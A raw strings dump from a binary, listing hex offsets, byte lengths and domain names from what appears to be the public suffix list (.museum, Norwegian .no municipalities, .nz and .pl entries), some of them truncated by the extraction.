0x19b442c (26): boston.museum
0x19b4458 (32): botanical.museum
0x19b448c (44): botanicalgarden.museum
0x19b44cc (40): botanicgarden.museum
0x19b4508 (26): botany.museum
0x19b4534 (46): brandywinevalley.museum
0x19b4574 (26): brasil.museum
0x19b45a0 (28): bristol.museum
0x19b45d0 (28): british.museum
0x19b4600 (44): britishcolumbia.museum
0x19b4640 (32): broadcast.museum
0x19b4674 (26): brunel.museum
0x19b46a0 (28): brussel.museum
0x19b46d0 (30): brussels.museum
0x19b4700 (32): bruxelles.museum
0x19b4734 (30): building.museum
0x19b4764 (28): burghof.museum
0x19b4794 (20): bus.museum
0x19b47bc (26): bushey.museum
0x19b47e8 (30): cadaques.museum
0x19b4818 (34): california.museum
0x19b484c (32): cambridge.museum
0x19b4880 (20): can.museum
0x19b48a8 (26): canada.museum
0x19b48d4 (34): capebreton.museum
0x19b4908 (28): carrier.museum
0x19b4938 (34): cartoonart.museum
0x19b496c (42): casadelamoneda.museum
0x19b49a8 (26): castle.museum
0x19b49d4 (28): castres.museum
0x19b4a04 (26): celtic.museum
0x19b4a30 (26): center.museum
0x19b4a5c (36): chattanooga.museum
0x19b4a94 (34): cheltenham.museum
0x19b4ac8 (40): chesapeakebay.museum
0x19b4b04 (28): chicago.museum
0x19b4b34 (30): children.museum
0x19b4b64 (32): childrens.museum
0x19b4b98 (44): childrensgarden.museum
0x19b4bd8 (38): chiropractic.museum
0x19b4c10 (32): chocolate.museum
0x19b4c44 (42): christiansburg.museum
0x19b4c80 (34): cincinnati.museum
0x19b4cb4 (26): cinema.museum
0x19b4ce0 (26): circus.museum
0x19b4d0c (38): civilisation.museum
0x19b4d44 (38): civilization.museum
0x19b4d7c (30): civilwar.museum
0x19b4dac (28): clinton.museum
0x19b4ddc (24): clock.museum
0x19b4e08 (22): coal.museum
0x19b4e30 (42): coastaldefence.museum
0x19b4e6c (22): cody.museum
0x19b4e94 (28): coldwar.museum
0x19b4ec4 (34): collection.museum
0x19b4ef8 (54): colonialwilliamsburg.museum
0x19b4f40 (44): coloradoplateau.museum
0x19b4f80 (30): columbia.museum
0x19b4fb0 (30): columbus.museum
0x19b4fe0 (40): communication.museum
0x19b501c (42): communications.museum
0x19b5058 (32): community.museum
0x19b508c (30): computer.museum
0x19b50bc (44): computerhistory.museum
0x19b5134 (38): contemporary.museum
0x19b516c (44): contemporaryart.museum
0x19b51ac (28): convent.museum
0x19b51dc (34): copenhagen.museum
0x19b5210 (36): corporation.museum
0x19b5248 (46): correios-e-telecomunica
0x19b52a0 (30): corvette.museum
0x19b52d0 (28): costume.museum
0x19b5300 (40): countryestate.museum
0x19b533c (26): county.museum
0x19b5368 (26): crafts.museum
0x19b5394 (32): cranbrook.museum
0x19b53c8 (30): creation.museum
0x19b53f8 (30): cultural.museum
0x19b5428 (42): culturalcenter.museum
0x19b5464 (28): culture.museum
0x19b5494 (24): cyber.museum
0x19b54c0 (24): cymru.museum
0x19b54ec (22): dali.museum
0x19b5514 (26): dallas.museum
0x19b5540 (30): database.museum
0x19b5570 (20): ddr.museum
0x19b5598 (42): decorativearts.museum
0x19b55d4 (30): delaware.museum
0x19b5604 (36): delmenhorst.museum
0x19b563c (28): denmark.museum
0x19b566c (24): depot.museum
0x19b5698 (26): design.museum
0x19b56c4 (28): detroit.museum
0x19b56f4 (30): dinosaur.museum
0x19b5724 (32): discovery.museum
0x19b5758 (24): dolls.museum
0x19b5784 (30): donostia.museum
0x19b57b4 (26): durham.museum
0x19b57e0 (34): eastafrica.museum
0x19b5814 (32): eastcoast.museum
0x19b5848 (32): education.museum
0x19b587c (36): educational.museum
0x19b58b4 (30): egyptian.museum
0x19b58e4 (32): eisenbahn.museum
0x19b5918 (26): elburg.museum
0x19b5944 (34): elvendrell.museum
0x19b5978 (34): embroidery.museum
0x19b59ac (38): encyclopedic.museum
0x19b59e4 (28): england.museum
0x19b5a14 (34): entomology.museum
0x19b5a48 (36): environment.museum
0x19b5a80 (64): environmentalconservation.museum
0x19b5ad4 (30): epilepsy.museum
0x19b5b04 (24): essex.museum
0x19b5b30 (26): estate.museum
0x19b5b5c (32): ethnology.museum
0x19b5b90 (26): exeter.museum
0x19b5bbc (34): exhibition.museum
0x19b5bf0 (26): family.museum
0x19b5c1c (22): farm.museum
0x19b5c44 (40): farmequipment.museum
0x19b5c80 (28): farmers.museum
0x19b5cb0 (32): farmstead.museum
0x19b5ce4 (24): field.museum
0x19b5d10 (30): figueres.museum
0x19b5d40 (32): filatelia.museum
0x19b5d74 (22): film.museum
0x19b5d9c (28): fineart.museum
0x19b5dcc (30): finearts.museum
0x19b5dfc (28): finland.museum
0x19b5e2c (30): flanders.museum
0x19b5e5c (28): florida.museum
0x19b5e8c (24): force.museum
0x19b5eb8 (38): fortmissoula.museum
0x19b5ef0 (32): fortworth.museum
0x19b5f24 (34): foundation.museum
0x19b5f58 (32): francaise.museum
0x19b5f8c (32): frankfurt.museum
0x19b5fc0 (38): franziskaner.museum
0x19b5ff8 (36): freemasonry.museum
0x19b6030 (30): freiburg.museum
0x19b6060 (30): fribourg.museum
0x19b6090 (22): frog.museum
0x19b60b8 (30): fundacio.museum
0x19b60e8 (32): furniture.museum
0x19b611c (28): gallery.museum
0x19b614c (26): garden.museum
0x19b6178 (28): gateway.museum
0x19b61a8 (32): geelvinck.museum
0x19b61dc (36): gemological.museum
0x19b6214 (28): geology.museum
0x19b6244 (28): georgia.museum
0x19b6274 (28): giessen.museum
0x19b62a4 (22): glas.museum
0x19b62cc (24): glass.museum
0x19b62f8 (24): gorge.museum
0x19b6324 (36): grandrapids.museum
0x19b635c (22): graz.museum
0x19b6384 (30): guernsey.museum
0x19b63b4 (34): halloffame.museum
0x19b63e8 (28): hamburg.museum
0x19b6418 (28): handson.museum
0x19b6448 (50): harvestcelebration.museum
0x19b648c (26): hawaii.museum
0x19b64b8 (26): health.museum
0x19b64e4 (42): heimatunduhren.museum
0x19b6520 (26): hellas.museum
0x19b654c (30): helsinki.museum
0x19b657c (44): hembygdsforbund.museum
0x19b65bc (30): heritage.museum
0x19b65ec (30): histoire.museum
0x19b661c (34): historical.museum
0x19b6650 (48): historicalsociety.museum
0x19b6694 (42): historichouses.museum
0x19b66d0 (34): historisch.museum
0x19b6704 (38): historisches.museum
0x19b673c (28): history.museum
0x19b676c (46): historyofscience.museum
0x19b67ac (30): horology.museum
0x19b67dc (24): house.museum
0x19b6808 (34): humanities.museum
0x19b683c (38): illustration.museum
0x19b6874 (40): imageandsound.museum
0x19b68b0 (26): indian.museum
0x19b68dc (28): indiana.museum
0x19b690c (38): indianapolis.museum
0x19b6944 (38): indianmarket.museum
0x19b697c (38): intelligence.museum
0x19b69b4 (36): interactive.museum
0x19b69ec (22): iraq.museum
0x19b6a14 (22): iron.museum
0x19b6a3c (32): isleofman.museum
0x19b6a70 (28): jamison.museum
0x19b6aa0 (32): jefferson.museum
0x19b6ad4 (32): jerusalem.museum
0x19b6b08 (28): jewelry.museum
0x19b6b38 (26): jewish.museum
0x19b6b64 (32): jewishart.museum
0x19b6b98 (20): jfk.museum
0x19b6bc0 (34): journalism.museum
0x19b6bf4 (28): judaica.museum
0x19b6c24 (36): judygarland.museum
0x19b6c5c (34): juedisches.museum
0x19b6c90 (22): juif.museum
0x19b6cb8 (26): karate.museum
0x19b6ce4 (32): karikatur.museum
0x19b6d18 (22): kids.museum
0x19b6d40 (34): koebenhavn.museum
0x19b6d74 (24): koeln.museum
0x19b6da0 (24): kunst.museum
0x19b6dcc (40): kunstsammlung.museum
0x19b6e08 (42): kunstunddesign.museum
0x19b6e44 (24): labor.museum
0x19b6e70 (26): labour.museum
0x19b6e9c (28): lajolla.museum
0x19b6ecc (34): lancashire.museum
0x19b6f00 (26): landes.museum
0x19b6f2c (22): lans.museum
0x19b6f7c (28): larsson.museum
0x19b6fac (36): lewismiller.museum
0x19b6fe4 (28): lincoln.museum
0x19b7014 (22): linz.museum
0x19b703c (26): living.museum
0x19b7068 (40): livinghistory.museum
0x19b70a4 (38): localhistory.museum
0x19b70dc (26): london.museum
0x19b7108 (34): losangeles.museum
0x19b713c (26): louvre.museum
0x19b7168 (30): loyalist.museum
0x19b7198 (28): lucerne.museum
0x19b71c8 (34): luxembourg.museum
0x19b71fc (26): luzern.museum
0x19b7228 (20): mad.museum
0x19b7250 (26): madrid.museum
0x19b727c (30): mallorca.museum
0x19b72ac (34): manchester.museum
0x19b72e0 (28): mansion.museum
0x19b7310 (30): mansions.museum
0x19b7340 (22): manx.museum
0x19b7368 (28): marburg.museum
0x19b7398 (30): maritime.museum
0x19b73c8 (30): maritimo.museum
0x19b73f8 (30): maryland.museum
0x19b7428 (34): marylhurst.museum
0x19b745c (24): media.museum
0x19b7488 (28): medical.museum
0x19b74b8 (52): medizinhistorisches.museum
0x19b7500 (26): meeres.museum
0x19b752c (30): memorial.museum
0x19b755c (32): mesaverde.museum
0x19b7590 (30): michigan.museum
0x19b75c0 (36): midatlantic.museum
0x19b75f8 (30): military.museum
0x19b7628 (22): mill.museum
0x19b7650 (26): miners.museum
0x19b767c (26): mining.museum
0x19b76a8 (32): minnesota.museum
0x19b76dc (28): missile.museum
0x19b770c (30): missoula.museum
0x19b773c (26): modern.museum
0x19b7768 (22): moma.museum
0x19b7790 (24): money.museum
0x19b77bc (30): monmouth.museum
0x19b77ec (34): monticello.museum
0x19b7820 (30): montreal.museum
0x19b7850 (26): moscow.museum
0x19b787c (34): motorcycle.museum
0x19b78b0 (30): muenchen.museum
0x19b78e0 (30): muenster.museum
0x19b7910 (30): mulhouse.museum
0x19b7940 (26): muncie.museum
0x19b796c (26): museet.museum
0x19b7998 (38): museumcenter.museum
0x19b79d0 (46): museumvereniging.museum
0x19b7a10 (24): music.museum
0x19b7a3c (30): national.museum
0x19b7a6c (46): nationalfirearms.museum
0x19b7aac (46): nationalheritage.museum
0x19b7aec (42): nativeamerican.museum
0x19b7b28 (42): naturalhistory.museum
0x19b7b64 (54): naturalhistorymuseum.museum
0x19b7bac (44): naturalsciences.museum
0x19b7bec (26): nature.museum
0x19b7c18 (48): naturhistorisches.museum
0x19b7c5c (52): natuurwetenschappen.museum
0x19b7ca4 (30): naumburg.museum
0x19b7cd4 (24): naval.museum
0x19b7d00 (30): nebraska.museum
0x19b7d30 (24): neues.museum
0x19b7d5c (38): newhampshire.museum
0x19b7d94 (32): newjersey.museum
0x19b7dc8 (32): newmexico.museum
0x19b7dfc (28): newport.museum
0x19b7e2c (32): newspaper.museum
0x19b7e60 (28): newyork.museum
0x19b7e90 (26): niepce.museum
0x19b7ebc (28): norfolk.museum
0x19b7eec (24): north.museum
0x19b7f18 (20): nrw.museum
0x19b7f40 (32): nuernberg.museum
0x19b7f74 (32): nuremberg.museum
0x19b7fa8 (20): nyc.museum
0x19b7fd0 (22): nyny.museum
0x19b7ff8 (40): oceanographic.museum
0x19b8034 (44): oceanographique.museum
0x19b8074 (24): omaha.museum
0x19b80a0 (26): online.museum
0x19b80cc (28): ontario.museum
0x19b80fc (28): openair.museum
0x19b812c (26): oregon.museum
0x19b8158 (36): oregontrail.museum
0x19b8190 (24): otago.museum
0x19b81bc (26): oxford.museum
0x19b81e8 (28): pacific.museum
0x19b8218 (32): paderborn.museum
0x19b824c (26): palace.museum
0x19b8278 (24): paleo.museum
0x19b82a4 (36): palmsprings.museum
0x19b82dc (26): panama.museum
0x19b8308 (24): paris.museum
0x19b8334 (30): pasadena.museum
0x19b8364 (30): pharmacy.museum
0x19b8394 (38): philadelphia.museum
0x19b83cc (46): philadelphiaarea.museum
0x19b840c (32): philately.museum
0x19b8440 (28): phoenix.museum
0x19b8470 (36): photography.museum
0x19b84a8 (26): pilots.museum
0x19b84d4 (34): pittsburgh.museum
0x19b8508 (36): planetarium.museum
0x19b8540 (34): plantation.museum
0x19b8574 (26): plants.museum
0x19b85a0 (24): plaza.museum
0x19b85cc (26): portal.museum
0x19b85f8 (30): portland.museum
0x19b8628 (34): portlligat.museum
0x19b865c (70): posts-and-telecommunications.museum
0x19b86b4 (38): preservation.museum
0x19b86ec (30): presidio.museum
0x19b871c (24): press.museum
0x19b8748 (28): project.museum
0x19b8778 (26): public.museum
0x19b87a4 (24): pubol.museum
0x19b87d0 (26): quebec.museum
0x19b87fc (30): railroad.museum
0x19b882c (28): railway.museum
0x19b885c (30): research.museum
0x19b888c (34): resistance.museum
0x19b88c0 (38): riodejaneiro.museum
0x19b88f8 (32): rochester.museum
0x19b892c (28): rockart.museum
0x19b895c (22): roma.museum
0x19b8984 (26): russia.museum
0x19b89b0 (34): saintlouis.museum
0x19b89e4 (24): salem.museum
0x19b8a10 (38): salvadordali.museum
0x19b8a48 (30): salzburg.museum
0x19b8a78 (30): sandiego.museum
0x19b8aa8 (38): sanfrancisco.museum
0x19b8ae0 (38): santabarbara.museum
0x19b8b18 (32): santacruz.museum
0x19b8b4c (28): santafe.museum
0x19b8b7c (38): saskatchewan.museum
0x19b8bb4 (22): satx.museum
0x19b8bdc (34): savannahga.museum
0x19b8c10 (38): schlesisches.museum
0x19b8c48 (36): schoenbrunn.museum
0x19b8c80 (36): schokoladen.museum
0x19b8cb8 (26): school.museum
0x19b8ce4 (28): schweiz.museum
0x19b8d14 (28): science.museum
0x19b8d44 (48): scienceandhistory.museum
0x19b8d88 (50): scienceandindustry.museum
0x19b8dcc (40): sciencecenter.museum
0x19b8e08 (42): sciencecenters.museum
0x19b8e44 (44): science-fiction.museum
0x19b8e84 (42): sciencehistory.museum
0x19b8ec0 (30): sciences.museum
0x19b8ef0 (50): sciencesnaturelles.museum
0x19b8f34 (30): scotland.museum
0x19b8f64 (28): seaport.museum
0x19b8f94 (34): settlement.museum
0x19b8fc8 (30): settlers.museum
0x19b8ff8 (24): shell.museum
0x19b9024 (34): sherbrooke.museum
0x19b9058 (28): sibenik.museum
0x19b9088 (22): silk.museum
0x19b90b0 (20): ski.museum
0x19b90d8 (24): skole.museum
0x19b9104 (28): society.museum
0x19b9134 (28): sologne.museum
0x19b9164 (42): soundandvision.museum
0x19b91a0 (40): southcarolina.museum
0x19b91dc (32): southwest.museum
0x19b9210 (24): space.museum
0x19b923c (20): spy.museum
0x19b9264 (26): square.museum
0x19b9290 (24): stadt.museum
0x19b92bc (30): stalbans.museum
0x19b92ec (32): starnberg.museum
0x19b9320 (24): state.museum
0x19b934c (44): stateofdelaware.museum
0x19b938c (28): station.museum
0x19b93bc (24): steam.museum
0x19b93e8 (34): steiermark.museum
0x19b941c (26): stjohn.museum
0x19b9448 (32): stockholm.museum
0x19b947c (38): stpetersburg.museum
0x19b94b4 (32): stuttgart.museum
0x19b94e8 (26): suisse.museum
0x19b9514 (38): surgeonshall.museum
0x19b954c (26): surrey.museum
0x19b9578 (30): svizzera.museum
0x19b95a8 (26): sweden.museum
0x19b95d4 (26): sydney.museum
0x19b9600 (22): tank.museum
0x19b9628 (20): tcm.museum
0x19b9650 (34): technology.museum
0x19b9684 (48): telekommunikation.museum
0x19b96c8 (34): television.museum
0x19b96fc (24): texas.museum
0x19b9728 (28): textile.museum
0x19b9758 (28): theater.museum
0x19b9788 (22): time.museum
0x19b97b0 (36): timekeeping.museum
0x19b97e8 (30): topology.museum
0x19b9818 (26): torino.museum
0x19b9844 (24): touch.museum
0x19b9870 (22): town.museum
0x19b9898 (32): transport.museum
0x19b98cc (22): tree.museum
0x19b98f4 (28): trolley.museum
0x19b9924 (24): trust.museum
0x19b9950 (28): trustee.museum
0x19b9980 (24): uhren.museum
0x19b99ac (20): ulm.museum
0x19b99d4 (30): undersea.museum
0x19b9a04 (34): university.museum
0x19b9a38 (20): usa.museum
0x19b9a60 (34): usantiques.museum
0x19b9a94 (26): usarts.museum
0x19b9ac0 (44): uscountryestate.museum
0x19b9b00 (32): usculture.museum
0x19b9b34 (46): usdecorativearts.museum
0x19b9b74 (30): usgarden.museum
0x19b9ba4 (32): ushistory.museum
0x19b9bd8 (28): ushuaia.museum
0x19b9c08 (44): uslivinghistory.museum
0x19b9c48 (22): utah.museum
0x19b9c70 (22): uvic.museum
0x19b9c98 (26): valley.museum
0x19b9cc4 (26): vantaa.museum
0x19b9cf0 (34): versailles.museum
0x19b9d24 (26): viking.museum
0x19b9d50 (28): village.museum
0x19b9d80 (30): virginia.museum
0x19b9db0 (28): virtual.museum
0x19b9de0 (28): virtuel.museum
0x19b9e10 (34): vlaanderen.museum
0x19b9e44 (36): volkenkunde.museum
0x19b9e7c (24): wales.museum
0x19b9ea8 (30): wallonie.museum
0x19b9ed8 (20): war.museum
0x19b9f00 (38): washingtondc.museum
0x19b9f38 (40): watchandclock.museum
0x19b9f74 (44): watch-and-clock.museum
0x19b9fb4 (28): western.museum
0x19b9fe4 (32): westfalen.museum
0x19ba018 (28): whaling.museum
0x19ba048 (30): wildlife.museum
0x19ba078 (38): williamsburg.museum
0x19ba0b0 (30): windmill.museum
0x19ba0e0 (30): workshop.museum
0x19ba110 (22): york.museum
0x19ba138 (32): yorkshire.museum
0x19ba16c (30): yosemite.museum
0x19ba19c (24): youth.museum
0x19ba1c8 (34): zoological.museum
0x19ba1fc (28): zoology.museum
0x19ba7a0 (24): !teledata.mz
0x19bada4 (26): fylkesbibl.no
0x19badd0 (24): folkebibl.no
0x19baec4 (20): kommune.no
0x19bafb8 (24): jan-mayen.no
0x19bb0e4 (22): svalbard.no
0x19bb254 (30): gs.jan-mayen.no
0x19bb338 (20): gs.oslo.no
0x19bb3cc (28): gs.svalbard.no
0x19bb48c (22): akrehamn.no
0x19bb4b6 (20): krehamn.no
0x19bb544 (26): brumunddal.no
0x19bb594 (28): bronnoysund.no
0x19bb63c (22): egersund.no
0x19bb664 (20): fetsund.no
0x19bb6d4 (28): fredrikstad.no
0x19bb704 (22): hokksund.no
0x19bb72c (22): honefoss.no
0x19bb77c (22): jessheim.no
0x19bb7a4 (24): jorpeland.no
0x19bb7d4 (20): rpeland.no
0x19bb7fc (22): kirkenes.no
0x19bb824 (22): kopervik.no
0x19bb84c (30): krokstadelva.no
0x19bb87c (22): langevag.no
0x19bb8cc (20): leirvik.no
0x19bb8f4 (24): mjondalen.no
0x19bb94c (24): mo-i-rana.no
0x19bb978 (20): mosjoen.no
0x19bb9c8 (30): nesoddtangen.no
0x19bb9f8 (22): orkanger.no
0x19bbab0 (30): sandnessjoen.no
0x19bbb10 (32): skedsmokorset.no
0x19bbb44 (20): slattum.no
0x19bbb6c (26): spjelkavik.no
0x19bbb98 (24): stathelle.no
0x19bbbc4 (20): stavern.no
0x19bbbec (36): stjordalshalsen.no
0x19bbc2c (28): rdalshalsen.no
0x19bbc5c (22): tananger.no
0x19bbca8 (28): vossevangen.no
0x19bbd20 (20): agdenes.no
0x19bbd80 (20): alesund.no
0x19bbdd0 (24): alstahaug.no
0x19bbe3c (24): alaheadju.no
0x19bbe6a (22): laheadju.no
0x19bbfa4 (24): andasuolo.no
0x19bc018 (20): aremark.no
0x19bc040 (20): arendal.no
0x19bc114 (20): askvoll.no
0x19bc1cc (24): audnedaln.no
0x19bc23c (20): aurland.no
0x19bc264 (34): aurskog-holand.no
0x19bc2cc (24): austevoll.no
0x19bc2f8 (24): austrheim.no
0x19bc36c (26): balestrand.no
0x19bc398 (24): ballangen.no
0x19bc40c (24): balsfjord.no
0x19bc438 (30): bahccavuotna.no
0x19bc46c (26): hccavuotna.no
0x19bc528 (20): bajddar.no
0x19bc604 (22): berlevag.no
0x19bc654 (28): bearalvahki.no
0x19bc6d8 (22): birkenes.no
0x19bc700 (20): bjarkoy.no
0x19bc750 (24): bjerkreim.no
0x19bc7e0 (22): badaddja.no
0x19bc830 (20): budejju.no
0x19bc878 (24): bremanger.no
0x19bc8a4 (20): bronnoy.no
0x19bc8f4 (20): bygland.no
0x19bc988 (28): bo.telemark.no
0x19bc9bc (24): .telemark.no
0x19bc9e8 (28): bo.nordland.no
0x19bca1c (24): .nordland.no
0x19bcad8 (24): batsfjord.no
0x19bcb08 (20): tsfjord.no
0x19bcb30 (28): bahcavuotna.no
0x19c4b74 (24): hcavuotna.no
0x19c4bc4 (20): drammen.no
0x19c4bec (24): drangedal.no
0x19c4cc8 (22): eidfjord.no
0x19c4cf0 (22): eidsberg.no
0x19c4d18 (20): eidskog.no
0x19c4d40 (22): eidsvoll.no
0x19c4d68 (24): eigersund.no
0x19c4d94 (20): elverum.no
0x19c4dbc (20): enebakk.no
0x19c4de4 (22): engerdal.no
0x19c4e2c (20): etnedal.no
0x19c4e78 (22): evenassi.no
0x19c4ec8 (36): evje-og-hornnes.no
0x19c4f00 (20): farsund.no
0x19c4f4c (20): fuossko.no
0x19c4f74 (20): fuoisku.no
0x19c5094 (22): flakstad.no
0x19c50bc (24): flatanger.no
0x19c50e8 (28): flekkefjord.no
0x19c5118 (22): flesberg.no
0x19c51a4 (20): folldal.no
0x19c51cc (20): forsand.no
0x19c525c (20): froland.no
0x19c5358 (22): fyresdal.no
0x19c53ec (26): gangaviika.no
0x19c541e (20): Kaviika.no
0x19c5468 (20): gausdal.no
0x19c5490 (24): gildeskal.no
0x19c550c (20): gjemnes.no
0x19c5534 (22): gjerdrum.no
0x19c555c (22): gjerstad.no
0x19c5584 (20): gjesdal.no
0x19c55f4 (20): gloppen.no
0x19c5680 (20): granvin.no
0x19c56a8 (24): gratangen.no
0x19c56d4 (22): grimstad.no
0x19c5720 (24): kraanghke.no
0x19c584c (20): hamaroy.no
0x19c5904 (26): hammerfest.no
0x19c5930 (30): hammarfeasta.no
0x19c596a (20): rfeasta.no
0x19c59d8 (20): harstad.no
0x19c5a24 (26): aknoluokta.no
0x19c5a54 (22): kKluokta.no
0x19c5a7c (30): hattfjelldal.no
0x19c5aac (22): aarborte.no
0x19c5ad4 (24): haugesund.no
0x19c5b48 (22): hemsedal.no
0x19c5b70 (48): heroy.more-og-romsdal.no
0x19c5bc4 (32): re-og-romsdal.no
0x19c5bf8 (34): heroy.nordland.no
0x19c5c34 (26): y.nordland.no
0x19c5c84 (22): hjartdal.no
0x19c5cac (26): hjelmeland.no
0x19c5d80 (28): holmestrand.no
0x19c5db0 (22): holtalen.no
0x19c5e00 (24): hornindal.no
0x19c5ebc (24): hyllestad.no
0x19c5ee8 (26): hagebostad.no
0x19c5f18 (22): gebostad.no
0x19c5f40 (22): hoyanger.no
0x19c5f90 (24): hoylandet.no
0x19c5fc0 (20): ylandet.no
0x19c6020 (20): ibestad.no
0x19c6048 (20): inderoy.no
0x19c6098 (20): iveland.no
0x19c60c0 (22): jevnaker.no
0x19c610c (20): jolster.no
0x19c615c (22): karasjok.no
0x19c6184 (26): karasjohka.no
0x19c61dc (20): karlsoy.no
0x19c6294 (26): kautokeino.no
0x19c62c0 (32): guovdageaidnu.no
0x19c6360 (24): kongsberg.no
0x19c638c (28): kongsvinger.no
0x19c63bc (20): kragero.no
0x19c640c (30): kristiansand.no
0x19c643c (30): kristiansund.no
0x19c646c (26): krodsherad.no
0x19c649e (20): dsherad.no
0x19c64c4 (22): kvalsund.no
0x19c64ec (28): rahkkeravju.no
0x19c656c (24): kvinesdal.no
0x19c6598 (26): kvinnherad.no
0x19c65c4 (24): kviteseid.no
0x19c65f0 (20): kvitsoy.no
0x19c6640 (22): kvafjord.no
0x19c6690 (32): giehtavuoatna.no
0x19c66c4 (24): kvanangen.no
0x19c671c (22): navuotna.no
0x19c676c (20): kafjord.no
0x19c67bc (24): gaivuotna.no
0x19c67ec (20): ivuotna.no
0x19c6838 (22): lavangen.no
0x19c6860 (20): lavagis.no
0x19c68d0 (20): lebesby.no
0x19c68f8 (26): davvesiida.no
0x19c6924 (24): leikanger.no
0x19c6950 (24): leirfjord.no
0x19c699c (20): leksvik.no
0x19c69e8 (28): leangaviika.no
0x19c6a1a (26): leaKaviika.no
0x19c6a6c (22): levanger.no
0x19c6ad8 (28): lillehammer.no
0x19c6b08 (24): lillesand.no
0x19c6b34 (24): lindesnes.no
0x19c6ce4 (20): lyngdal.no
0x19c6dbc (22): lodingen.no
0x19c6e0c (24): lorenskog.no
0x19c6e3c (20): renskog.no
0x19c6fa8 (24): marnardal.no
0x19c6fd4 (26): masfjorden.no
0x19c70b4 (20): meraker.no
0x19c7104 (20): moareke.no
0x19c7154 (20): midsund.no
0x19c717c (34): midtre-gauldal.no
0x19c71b0 (20): modalen.no
0x19c7220 (22): moskenes.no
0x19c728c (20): malselv.no
0x19c72dc (28): malatvuopmi.no
0x19c7310 (24): latvuopmi.no
0x19c733c (26): namdalseid.no
0x19c73b0 (26): namsskogan.no
0x19c73dc (34): naamesjevuemie.no
0x19c7416 (28): mesjevuemie.no
0x19c7444 (30): laakesvuemie.no
0x19c7474 (24): nannestad.no
0x19c74c4 (22): narviika.no
0x19c74ec (22): naustdal.no
0x19c7514 (28): nedre-eiker.no
0x19c7544 (30): nes.akershus.no
0x19c7574 (30): nes.buskerud.no
0x19c75c8 (22): nesodden.no
0x19c75f0 (20): nesseby.no
0x19c7618 (20): unjarga.no
0x19c768c (22): nissedal.no
0x19c76b4 (22): nittedal.no
0x19c76dc (28): nord-aurdal.no
0x19c770c (24): nord-fron.no
0x19c7738 (24): nord-odal.no
0x19c7764 (20): norddal.no
0x19c778c (22): nordkapp.no
0x19c77b4 (28): davvenjarga.no
0x19c7814 (28): nordre-land.no
0x19c7844 (24): nordreisa.no
0x19c78b8 (32): nore-og-uvdal.no
0x19c78ec (22): notodden.no
0x19c795c (22): notteroy.no
0x19c7a38 (22): oppegard.no
0x19c7b84 (26): os.hedmark.no
0x19c7bb0 (30): os.hordaland.no
0x19c7c00 (20): osteroy.no
0x19c7c50 (28): ostre-toten.no
0x19c7c82 (26): stre-toten.no
0x19c7cb0 (24): overhalla.no
0x19c7cdc (26): ovre-eiker.no
0x19c7d0a (24): vre-eiker.no
0x19c7d74 (22): oygarden.no
0x19c7d9e (20): ygarden.no
0x19c7dc4 (32): oystre-slidre.no
0x19c7dfa (30): ystre-slidre.no
0x19c7e2c (24): porsanger.no
0x19c7e58 (22): porsangu.no
0x19c7ea8 (24): porsgrunn.no
0x19c7f1c (24): rakkestad.no
0x19c7f8c (24): randaberg.no
0x19c7fdc (22): rendalen.no
0x19c8004 (20): rennebu.no
0x19c802c (22): rennesoy.no
0x19c80a0 (20): ringebu.no
0x19c80c8 (24): ringerike.no
0x19c80f4 (24): ringsaker.no
0x19c81f4 (22): ralingen.no
0x19c828c (20): romskog.no
0x19c83ac (20): royrvik.no
0x19c843c (22): salangen.no
0x19c8464 (20): siellak.no
0x19c848c (20): saltdal.no
0x19c8520 (24): samnanger.no
0x19c854c (48): sande.more-og-romsdal.no
0x19c85a0 (32): re-og-romsdal.no
0x19c85d4 (34): sande.vestfold.no
0x19c8608 (26): sandefjord.no
0x19c8634 (20): sandnes.no
0x19c86a4 (24): sarpsborg.no
0x19c86f4 (22): sauherad.no
0x19c8784 (20): seljord.no
0x19c883c (20): skedsmo.no
0x19c88a8 (22): skiptvet.no
0x19c88d0 (22): skjervoy.no
0x19c8920 (20): skierva.no
0x19c89dc (22): skanland.no
0x19c8abc (26): snillfjord.no
0x19c8b9c (20): sogndal.no
0x19c8bc4 (20): sokndal.no
0x19c8c30 (24): songdalen.no
0x19c8c5c (22): sortland.no
0x19c8c84 (24): spydeberg.no
0x19c8cd4 (24): stavanger.no
0x19c8d00 (20): steigen.no
0x19c8d28 (24): steinkjer.no
0x19c8d54 (22): stjordal.no
0x19c8dc8 (28): stor-elvdal.no
0x19c8e1c (20): stordal.no
0x19c8e44 (24): storfjord.no
0x19c8e70 (26): omasvuotna.no
0x19c8ec0 (20): stranda.no
0x19c8f70 (20): sunndal.no
0x19c8f98 (22): surnadal.no
0x19c8fe4 (20): svelvik.no
0x19c900c (24): sykkylven.no
0x19c90c8 (28): sondre-land.no
0x19c90fc (24): ndre-land.no
0x19c9128 (26): sor-aurdal.no
0x19c9158 (22): r-aurdal.no
0x19c9180 (22): sor-fron.no
0x19c91d0 (22): sor-odal.no
0x19c9220 (30): sor-varanger.no
0x19c9254 (26): r-varanger.no
0x19c9280 (32): matta-varjjat.no
0x19c92e8 (20): sorfold.no
0x19c9338 (22): sorreisa.no
0x19c9434 (22): tingvoll.no
0x19c947c (24): tjeldsund.no
0x19c94a8 (32): dielddanuorri.no
0x19c956c (20): torsken.no
0x19c966c (24): trondheim.no
0x19c9698 (22): troandin.no
0x19c972c (22): trogstad.no
0x19c977c (28): tvedestrand.no
0x19c97f4 (22): tysfjord.no
0x19c981c (30): divtasvuodna.no
0x19c984c (32): divttasvuotna.no
0x19c98ec (22): tonsberg.no
0x19c993c (26): ullensaker.no
0x19c9968 (26): ullensvang.no
0x19c9a24 (26): cahcesuolo.no
0x19c9a54 (22): hcesuolo.no
0x19c9a7c (20): vaksdal.no
0x19c9ae8 (22): vanylven.no
0x19c9b58 (20): varggat.no
0x19c9bcc (20): vaapste.no
0x19c9c14 (24): vegarshei.no
0x19c9c6c (22): vennesla.no
0x19c9d00 (20): vestnes.no
0x19c9d28 (32): vestre-slidre.no
0x19c9d5c (30): vestre-toten.no
0x19c9d8c (24): vestvagoy.no
0x19c9de4 (24): vevelstad.no
0x19c9e54 (26): vindafjord.no
0x19ca000 (32): valer.ostfold.no
0x19ca068 (32): valer.hedmark.no
0x19ca0a0 (28): ler.hedmark.no
0x19ca3d8 (26): parliament.nz
0x19cad68 (32): nieruchomosci.pl
0x19cae3c (26): realestate.pl
0x19caf70 (20): tourism.pl
0x19cafbc (24): turystyka.pl
0x19cb0dc (22): upow.gov.pl
0x19cb104 (32): starostwo.gov.pl
0x19cb22c (22): augustow.pl
0x19cb254 (26): babia-gora.pl
0x19cb2a4 (20): beskidy.pl
0x19cb2cc (26): bialowieza.pl
0x19cb2f8 (24): bialystok.pl
0x19cb324 (20): bielawa.pl
